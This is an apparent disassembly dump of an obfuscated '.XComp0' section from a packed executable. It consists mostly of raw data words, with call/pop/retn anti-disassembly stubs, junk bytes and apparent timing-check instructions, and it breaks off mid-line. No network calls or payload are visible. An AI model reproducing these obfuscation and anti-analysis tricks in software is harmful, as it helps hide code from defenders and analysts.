0FF5BD8BFh dd 0FCFC21B5h, 95FFF905h, 5F91AADh, 5B5EB352h, 0FC15B58Bh dd 0BD0105FCh, 5F91531h, 0C7FBBF0Fh, 1000106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0BCE2070h, 0F1F7CC3Ch, 0D98AFDE4h, 0A5DF8166h, 198D0F16h dd 0E9000000h, 14h, 33B36461h, 0FA566302h, 9D3CCA78h, 77F0C6E2h dd 3A957964h, 50516050h, 89615E59h, 0FA8A2434h, 0FC21B5FFh dd 6A05FCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 657B30C3h, 66D66382h, 0FF46BABBh, 0F9272995h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0E623218Fh, 8B121AA2h, 0F9090DBDh, 0FABB6605h dd 15B58BD6h, 6A05FCFCh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0ADF6C350h, 58F96E6Bh dd 9858B77h, 6A05F918h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 88AC357h, 0D935C571h dd 81665101h, 894FFCD3h, 0C486h, 0E19D8B00h, 8B05F921h dd 0F90CDD95h, 0BBDC8A05h, 235D5092h, 0F504C283h, 8E9h dd 9134D100h, 0CDFE2F2Eh, 205089EFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 24C35545h, 0D5B589F9h, 8905F908h dd 0F926C99Dh, 0E9858D05h, 6A05FD10h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A824C350h dd 7D43AB19h, 519490A3h, 0BDF8166h, 86895BE0h, 0B8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 19C35747h, 81043E5Ah dd 5CB9CBE3h, 66006A6Ch, 0B5FFD98Bh, 5FCFC21h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 3DC35242h, 48E8C592h dd 0A9BD8BD6h, 0FF05F934h, 0F9009995h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 34BE9DA0h, 9FF57904h, 8D0Fh, 15B30000h, 14E850h, 25110000h dd 5F47A617h, 0BD8E428Fh, 0CC061C79h, 361ACE01h, 14B35A77h dd 2434895Fh, 0D3D78166h, 21B5FF27h, 905FCFCh, 0F917F18Dh dd 6995FF05h, 6A05F935h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0FE12C353h, 0BD83F8BAh dd 5F917F5h, 4D840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B1DC353h dd 9D8BF965h, 5F90565h, 1814BB50h, 3489415Fh, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0FF261D9Bh, 0FC21B5FFh, 8C0F05FCh, 1Dh, 11E8h, 14AEA700h dd 0BA31EF41h, 5DD7AC01h, 0D3FF49E3h, 850F8768h, 0 ; --------------------------------------------------------------------------- pop ebx call dword ptr [ebp+5F92E6Dh] push 0 push ecx call sub_5B5732 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5732 proc near ; CODE XREF: .XComp0:005B572Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5B5732 endp ; --------------------------------------------------------------------------- mov ebx, 532E7A3Dh mov [ebp+5F91365h], esi pop edi push dword ptr [ebp+5FCFC21h] mov bx, di call dword ptr [ebp+5F921DDh] push 0 push eax call sub_5B5769 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5769 proc near ; CODE XREF: .XComp0:005B5761p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5B5769 endp ; --------------------------------------------------------------------------- db 11h, 0D5h, 8Bh dd 0EE6834E2h, 66C829CEh, 57D9CF81h, 0A2DBD83h, 0F0205F9h dd 2E84h, 5AF78000h, 1151858Bh, 9D8B05F9h, 5F91885h, 11E9h dd 0CAE56000h, 49DC9887h, 0DF72AB62h, 0CF00E35Eh, 0C62AF2h dd 95B50900h, 0C705F92Ah, 0F9331985h, 5, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 8DE13461h, 7FF8D30Fh, 85BB623Bh, 6640E0D7h, 0CBE9FA8Bh dd 6AFFFFF3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0F4BCC356h, 0A60DB904h, 559D2B9Dh dd 8B05F918h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 29371A09h, 0DC1858Dh, 1ABF05F9h dd 500DA5CAh, 48974B3h, 0FEBF0F24h, 8E9006Ah, 3E000000h dd 0B7D5D523h, 6A689F9Bh, 0B482BB00h, 858D71E0h, 5FDA3D6h dd 80D8BF0Fh, 0C0834CF7h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 895079D5h dd 0F522404h, 685h, 3CDF8100h, 5B276E13h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B7013C3h, 0F90B159Dh, 8B006A05h, 0ED95FFDAh, 6A05F913h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 6686C355h, 0F9955E39h, 6890FB5h, 89000000h dd 0F92CBD8Dh, 1B75BB05h, 8D8D1CF5h, 5FCE983h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 4CC35141h, 3FD4F9F2h dd 0E893A8CEh, 0Ch, 869A29E0h, 10AFC950h, 0F4992951h, 0E9D1FF5Bh dd 0Ch, 19485181h, 0CEDD810Bh, 91F8E51Eh, 83DE8B66h, 0F91785BDh dd 850F0105h, 53h, 0B1BBF66h, 6A026Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9D89DEC3h dd 5F91295h, 0A7D78166h, 5E85031h, 84000000h, 0BE4B4927h dd 0A70E98BFh, 4895B7Fh, 0C59D8B24h, 0FF05F90Ch, 0F9009995h dd 558D0905h, 0E905F92Ah, 0D4Ch, 0E8h, 0ED815D00h, 5FDA3E0h dd 9959BF66h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 8CC35141h, 759D8B09h, 8D05F919h, 0FCD97C85h, 6840F05h dd 89000000h, 0F90511B5h, 52509005h, 310FF98Bh, 8A0Fh dd 585A0000h, 0E9525050h, 12h, 0FD073306h, 93F90B11h, 91C19F0Ah dd 0B0039711h, 310FDB03h, 5B515250h, 5ABB310Fh, 5A51B7B6h dd 90585A58h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 7FC35747h, 57B1F294h, 2DC58529h, 645B05F9h, 35FFh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 34EA9C3h, 858D3159h, 6405F915h, 2589h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 604A2DC3h, 18E0Fh, 60F80000h, 8C0Fh, 4EB00000h, 85FF6161h dd 5F9197Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0DC35242h, 0FF6A7C6Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0D8C35646h, 0AD53B9D2h, 0FFDF8BE6h dd 0F93465B5h, 1195FF05h, 0E905F909h, 0F7h, 999D2960h dd 8B05F927h, 0B061D1h, 0F70E6F8h, 1180h, 0CE900h, 3C890000h dd 9D7BC8CAh, 0BE788E17h, 71E402E9h, 11E8h, 1D4AB100h dd 0A7CA855Fh, 0D04EE4ECh, 6B3BF6B0h, 11BF68ECh, 5B4273A5h dd 1E7D8501h, 613C05F9h, 0A5830Fh, 81660000h, 0F0368EBh dd 0BD0BC8B6h, 5F92B55h, 6BAh, 8BC18B00h, 0F901759Dh, 4E8C105h dd 0F766D98Bh, 2BF98BE2h, 0F9BF0FC8h, 0B501D18Bh, 5F92795h dd 5E9h, 0CF816600h, 858BDD16h, 5F92B01h, 0C083D88Bh, 3890F07h dd 66000000h, 0BD2BDA8Bh, 5F906C1h, 0B00C083h, 0F928B19Dh dd 0FD03B05h, 1083h, 0A5850900h, 0E905F919h, 33h, 4C38166h dd 2D8D8B7Ah, 8A05F920h, 1E183F9h, 1D840Fh, 0F500000h dd 835FFEB7h, 0F9202DA5h, 9589FE05h, 5F92B01h, 0DBD9D8Bh dd 0E905F9h, 8D000000h, 0FD1DF0B5h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BF0F587Fh dd 6A006AD9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 3DCBC351h, 0D137B2C2h, 1AED95FFh dd 0BD8B05F9h, 5F92761h, 0E7EB9h, 0A18D8900h, 8305F92Bh dd 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0FC5CD2C3h, 10860Fh, 7E80000h, 18000000h dd 651828FFh, 0C3802501h, 0C02B5F10h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 5DC35747h, 93EF93ACh, 0AAB71DA0h dd 16105CBFh, 6AD22B7Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0E4FDC355h, 8FD7C39h dd 9B589BAh, 0AD05F92Eh, 0E8D1C233h, 0E983D003h, 0F9F47504h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 28C35242h dd 880Dh, 25858900h, 0E805F915h, 10h, 0D35F3BFAh, 1CD0EAC8h dd 97E1DECFh, 6CF91A13h, 2E159D03h, 8B5B05F9h, 0F90CDD95h dd 8B8AB305h, 0F926C18Dh, 4E38005h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0E469EAC3h, 4FE21CF5h dd 66F1E716h, 66256BBFh, 6AF7B9BFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 41C8C357h dd 59BD83DBh, 5F911h, 92840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 93EE47C3h dd 74AEC7B1h, 8971642Fh, 0F9218DB5h, 0B805h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 57BD74C3h, 0B70F6656h, 0E88D8DFFh, 0E805F94Eh, 8, 0EB04BEEDh dd 6A1759F5h, 14958D89h, 0FF5F05F9h, 56006AE1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0BF873788h dd 0F98BA769h, 0FDBD83h, 0F0005F9h, 3BF84h, 0BD83F500h dd 5F900FDh, 0CC840F01h, 0E8000003h, 5, 4AD8DD13h, 8703BB4Eh dd 8B5B1589h, 0FDBD83DAh, 305F900h, 377860Fh, 9D8B0000h dd 5F91F8Dh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 2DBD8BC2h, 6605F913h, 6AD98Ch, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 4DFF63C3h, 5E8B5h, 0FE200000h, 8BBA69B8h, 0F91729BDh dd 0E1805F05h, 0EB816604h, 0C90A008Bh, 12A840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0C7652EC3h, 0DDC29642h, 0D4CF81F1h, 0E962A426h, 0Bh dd 695BB02Bh, 9DC1F3ABh, 8B6B0695h, 0F9259985h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0EE3E6466h, 33DAB70Fh, 0F9042D85h, 0CE905h dd 0D10000h, 0F2F15DEDh, 0EC499EACh, 0E9903B46h, 0Ah, 263AA246h dd 98B6645Eh, 0BF50B2E5h, 4CC0B1F1h, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0E9006A57h dd 0Ch, 92C664AEh, 1F1D8AE0h, 9CA73AADh, 7BBBB68h, 240481CCh dd 34174844h, 95FFDA8Ah, 5F92AC5h, 218589F9h, 6A05FCFCh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 31E4C353h, 0B5898B81h, 5F90561h, 1AFE9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 9A328D82h, 9D89A8B1h, 5F903B5h, 0FC19858Bh dd 6A05FCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0C7F585C3h, 1800h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 831ABDC9h dd 0E43CE3FAh, 55EB819Eh, 8B43D0CAh, 0FCFC1DB5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0F88BF2B8h, 16C99D8Bh, 858B05F9h, 5F92B89h, 0EE9h, 2B218700h dd 0D23DDBA5h, 1CDDAF2Ch, 89D99A4Ah, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B589B18Ch dd 5F93135h, 2599858Bh, 7BBB05F9h, 0F95CDEAFh, 0E9044689h dd 0Ch, 7BC0D544h, 40CBAC55h, 91721D8Fh, 60525096h, 10E9h dd 4C6DE000h, 0B7BAEE4h, 393204Bh, 9ADBECCCh, 310F6160h dd 6C48BF66h, 9650585Ah, 18FD9D8Bh, 0B5FF05F9h, 5FCFC19h dd 1781BD8Bh, 0DE805F9h, 2A000000h, 8CF76CAh, 0D420B69Ch dd 731728D4h, 5FFFB70Fh, 6FF05E68h, 66525098h, 310FFA8Bh dd 0DF8B6651h, 81585A5Fh, 13A12404h, 0BF6667AFh, 858DF33Dh dd 5FCFC21h, 50FE8B66h, 6E9h, 75817300h, 89349CE6h, 9D012404h dd 5F932E5h, 2AC595FFh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 14320FC3h, 959D8B61h dd 0C705F913h, 0F900FD85h, 305h, 7E900h, 0B470000h, 0AAB65627h dd 21BD83C7h, 5FCFCh, 2F840Fh, 0BD8B0000h, 5F9243Dh, 3FE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 2A373583h, 3DE78166h, 0C3050C9h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 50C35646h, 689A5350h, 0FEB70FC4h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6DC35040h dd 0B80C1223h, 0ED9D29F7h, 0BB05F927h, 6F12291Fh, 0FDBD83h dd 0F0305F9h, 41585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 2123AA8Ah, 0E1E511EFh dd 27958531h, 0BD8305F9h, 5FCFC21h, 0DF840F00h, 6A000003h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 8CD0C350h, 0FFA71E00h, 0FCFC21B5h, 19D8B05h dd 0FF05F914h, 0F91AAD95h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0FDD57B40h dd 810FD9A7h, 4, 7682BF66h, 0FC15B58Bh, 9D0B05FCh, 5F91F31h dd 106C7h, 7E80001h, 53000000h, 0B00790ECh, 8B60E527h dd 0F9347DBDh, 965F6105h, 9E8h, 81A4D600h, 3C060C80h, 820F6439h dd 0Eh, 8E8h, 1AC9B500h, 4FAA0E77h, 505B5B4Eh, 0AE9h, 0D69FE900h dd 1586192Dh, 96806460h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0FC35646h, 0D972D56Eh, 11E87480h, 0FB000000h dd 1AA4F1B7h, 0C49BAE44h, 0F2E313Bh, 30005E6Ah, 1AF35DBBh dd 0B5FF5F66h, 5FCFC21h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 5FC35545h, 813DD8F6h, 0D1F38166h, 2995FFB9h dd 6A05F927h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0D619C355h, 0FC15B58Bh, 6A05FCh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 38BB56C3h, 6DD7FCCAh, 7E9h, 0CF9F1800h, 2675C11Bh, 858B43B3h dd 5F91809h, 8B0Fh, 86890000h, 0C4h, 0CDD958Bh, 6A05F9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8D891FC3h, 5F90D0Dh, 6A04C283h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C9F4C350h dd 18559D8Bh, 0EE805F9h, 1D000000h, 33235CDCh, 0C67886F2h dd 0BE066E6Eh, 895FF86Fh, 858D2050h, 5FD10E9h, 2C57B860h dd 0BD31701Ch, 5F914F9h, 0B8868961h, 1000000h, 0F929ED85h dd 89006A05h, 0F93275B5h, 21B5FF05h, 6605FCFCh, 10D2EB81h dd 9995FFh, 816605F9h, 500BDDCBh, 4880Fh, 0BB660000h, 3489A159h dd 20FCBF24h, 9D8B1396h, 5F913FDh, 0FC21B5FFh, 95FF05FCh dd 5F93569h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 2EC35343h, 0A31ADD75h, 0A90AED07h, 0BD83FCFDh dd 5F917F5h, 38840F00h, 29000000h, 0F91125B5h, 0BF665005h dd 34898456h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 44E4724Eh, 0D45D0E40h, 7DBD2B73h dd 0FF05F934h, 0FCFC21B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0BBC12E0Bh dd 592747E9h, 19A58509h, 95FF05F9h, 5F92E6Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E1C35343h, 9DAEEE08h dd 6CC1802Ch, 0E59D8BACh, 0FF05F91Ah, 0FCFC21B5h, 0DD95FF05h dd 6A05F921h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 6F82C350h, 3DD11A7Bh, 0BD839900h dd 5F90A2Dh, 57840F02h, 56000000h, 5BDFBF0Fh, 1151858Bh dd 958905F9h, 5F90DC5h, 6A0000C6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 6CECC357h dd 87E6AE29h, 6E59D8Bh, 8D8905F9h, 5F928C1h, 95016060h dd 5F900E9h, 80D9531h, 8B6105F9h, 0F92CD98Dh, 85C76105h dd 5F93319h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5B66CB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B66CB proc near ; CODE XREF: .XComp0:005B66C3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5B66CB endp ; --------------------------------------------------------------------------- test eax, 31A1BD8Bh stc add eax, 0FFF40FE9h jmp fword ptr [edx+0] ; --------------------------------------------------------------------------- push ebp call sub_5B66F2 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B66F2 proc near ; CODE XREF: .XComp0:005B66EAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5B66F2 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pusha retn 2EB7h ; --------------------------------------------------------------------------- db 0B5h dd 13159D8Bh, 0C18B05F9h, 85F1BF66h, 0DC1858Dh, 850F05F9h dd 6, 0DD1B589h, 505005F9h, 0BB665250h, 310FB58Fh, 895B585Ah dd 81662404h, 6A676EDFh, 499D2900h, 6A05F907h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E87CA5B2h, 0Dh, 0C07830F4h, 61D00504h, 260D3987h, 0D08B60AFh dd 0DE1958Bh, 5F6105F9h, 0B2A5858Dh, 6A05FDh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0AB744AC3h dd 0C083605Ch, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0E8F5BDEh, 77494BB2h dd 0E6BB32F7h, 504D87D0h, 18D6D6BBh, 24048947h, 14C1BD89h dd 6A05F9h, 6890Fh, 0BD8B0000h, 5F917F1h, 8166006Ah, 0FF2DB7C3h dd 0F913ED95h, 0A58D8905h, 8D05F929h, 0FCE9838Dh, 9CBF6605h dd 8BD1FFFEh, 0F93195BDh, 85BD8305h, 105F917h, 70850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 26FEE6C3h, 8F78355Ah, 8B045145h, 60026AF9h dd 14F98D89h, 858B05F9h, 5F91EB9h, 8B665061h, 240489FBh dd 1F519D23h, 95FF05F9h, 5F90099h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0C1C35343h, 0CC357670h, 13059D03h dd 0E6E905F9h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 5FDB2AFh push 0 push edi call sub_5B68AE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B68AE proc near ; CODE XREF: .XComp0:005B68A6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5B68AE endp ; --------------------------------------------------------------------------- dw 813Ah dd 0F0A8A9F7h, 0D6DB816Bh, 89272728h, 0F91941BDh, 0EB816605h dd 858D7F29h, 5FCD97Ch, 38A0Fh, 8B660000h, 525050FBh, 5250310Fh dd 585A310Fh, 489585Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 7118D484h, 0BF0F5675h dd 0CB8166F8h, 0FF64C201h, 35h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 1737186Ah dd 4639BEC8h, 0B589562Eh, 5F906DDh, 1F2D9D8Bh, 896405F9h dd 25h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0E147E82Ah, 29F6649Eh, 0F906559Dh dd 7D85FF05h, 6A05F919h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 8E7AC353h, 99BE28E5h dd 0BD0B9E23h, 5F92BEDh, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0F88B9CC3h, 2B09BD29h dd 0B5FF05F9h, 5F91FA1h, 0C3E9BF66h, 91195FFh, 31E905F9h dd 0E9000001h, 9, 0C22D4971h, 16AD0342h, 8900B075h, 0F90B0D9Dh dd 0E470E605h, 0EB816671h, 613CF093h, 10A830Fh, 0EB810000h dd 4234F697h, 0FCC8B60Fh, 6BAh, 459D0100h, 8B05F921h, 40D781C1h dd 0C16BE857h, 0F76604E8h, 0B58960E2h, 5F92DBDh, 1345B58Bh dd 2B6105F9h, 0AE9C8h, 997C0000h, 7387CBC1h, 4B582D2Fh dd 840FD18Bh, 13h, 0CE8h, 0D2837200h, 2B362662h, 599BA930h dd 0E95BF84Dh, 0 ; --------------------------------------------------------------------------- mov eax, [ebp+5F91339h] mov ebx, [ebp+5F9287Dh] add eax, 7 movzx ebx, di add eax, 0 jmp loc_5B6A9F ; --------------------------------------------------------------------------- pop es test al, 82h dec eax nop retn ; --------------------------------------------------------------------------- dd 4F072581h db 65h, 6Eh, 53h ; --------------------------------------------------------------------------- loc_5B6A9F: ; CODE XREF: .XComp0:005B6A8Dj jmp loc_5B6AAB ; --------------------------------------------------------------------------- dd 0D5C3C4E3h db 0F5h, 0A3h, 8 ; --------------------------------------------------------------------------- loc_5B6AAB: ; CODE XREF: .XComp0:loc_5B6A9Fj cmp edx, eax jnb loc_5B6AE5 jmp loc_5B6B20 ; --------------------------------------------------------------------------- jmp loc_5B6AD1 ; --------------------------------------------------------------------------- db 75h, 0C4h, 0EDh dd 459B099h, 277F148Ch, 4AEF949Ah, 191996CBh ; --------------------------------------------------------------------------- dec edx loc_5B6AD1: ; CODE XREF: .XComp0:005B6AB8j jno loc_5B6AE5 pusha mov [ebp+5F92405h], eax mov [ebp+5F917F1h], eax popa loc_5B6AE5: ; CODE XREF: .XComp0:005B6AADj ; .XComp0:loc_5B6AD1j mov ecx, [ebp+5F91E79h] sub ebx, [ebp+5F92031h] and ecx, 1 jz loc_5B6B20 mov [ebp+5F92685h], eax and dword ptr [ebp+5F91E79h], 0FFFFFFFEh mov bh, 33h mov [ebp+5F91339h], edx jle loc_5B6B1B or [ebp+5F9330Dh], ecx loc_5B6B1B: ; CODE XREF: .XComp0:005B6B0Fj jmp $+5 loc_5B6B20: ; CODE XREF: .XComp0:005B6AB3j ; .XComp0:005B6AF4j lea esi, [ebp+5FD372Ch] push 0 push ebx call sub_5B6B31 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6B31 proc near ; CODE XREF: .XComp0:005B6B29p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5B6B31 endp ; --------------------------------------------------------------------------- mov edi, [esp+ecx*2] movsd push esi movsb add [esi+14h], esi test eax, 28659D8Bh stc add eax, 9D09006Ah add [ebx], ebx stc add eax, 1AED95FFh stc add eax, 11F1BD8Bh stc add eax, 891B9h add [edx+0], ch push esi call sub_5B6B75 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6B75 proc near ; CODE XREF: .XComp0:005B6B6Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5B6B75 endp ; --------------------------------------------------------------------------- db 61h, 9Bh, 91h dd 55FFBBABh, 2B41B529h, 0E18305F9h, 56006AFCh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 3F03347Bh dd 858910E7h, 5F909C1h, 95236060h, 5F92B31h, 161D98Bh dd 0F9297D85h, 0FFC6105h, 0B8D8B7h, 66000000h, 0F903CF81h dd 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 2A763FC3h, 0E02E8848h, 0B70FA956h, 0C233ADD8h dd 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 330D7494h dd 26BB8AB4h, 0E802AC82h, 0Bh, 0CF555421h, 0AEA7ACF1h dd 0E8EF4114h, 0Ch, 7A322D39h, 71B1352Dh, 0FEE127ACh, 16719D2Bh dd 5B5B05F9h, 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0A7ED9255h, 8B05C380h dd 0F90CDD95h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0FA8B7BEEh, 26C18D8Bh dd 9D8905F9h, 5F921ADh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0BFC348C3h, 785CF856h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BEC35646h, 3BEB812Ah dd 8B3D22E8h, 0F924A9BDh, 59BD8305h, 5F911h, 0A4840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0E96267C3h, 0F895C7FEh, 880F80A1h, 7, 0DB816653h dd 0B85F5396h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+5F91451h] lea ecx, [ebp+5F94EE8h] push 0 push edi call sub_5B6D6F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6D6F proc near ; CODE XREF: .XComp0:005B6D67p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5B6D6F endp ; --------------------------------------------------------------------------- pop esi inc ecx adc edi, esp add cl, [edi] sahf or dl, [edx+60h] mov [ebp+5F904A1h], ebx mov edi, [ebp+5F92825h] popa pop edi mov ebx, [ebp+5F917B1h] jmp ecx ; --------------------------------------------------------------------------- push 0 push esi call sub_5B6DAA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6DAA proc near ; CODE XREF: .XComp0:005B6DA2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 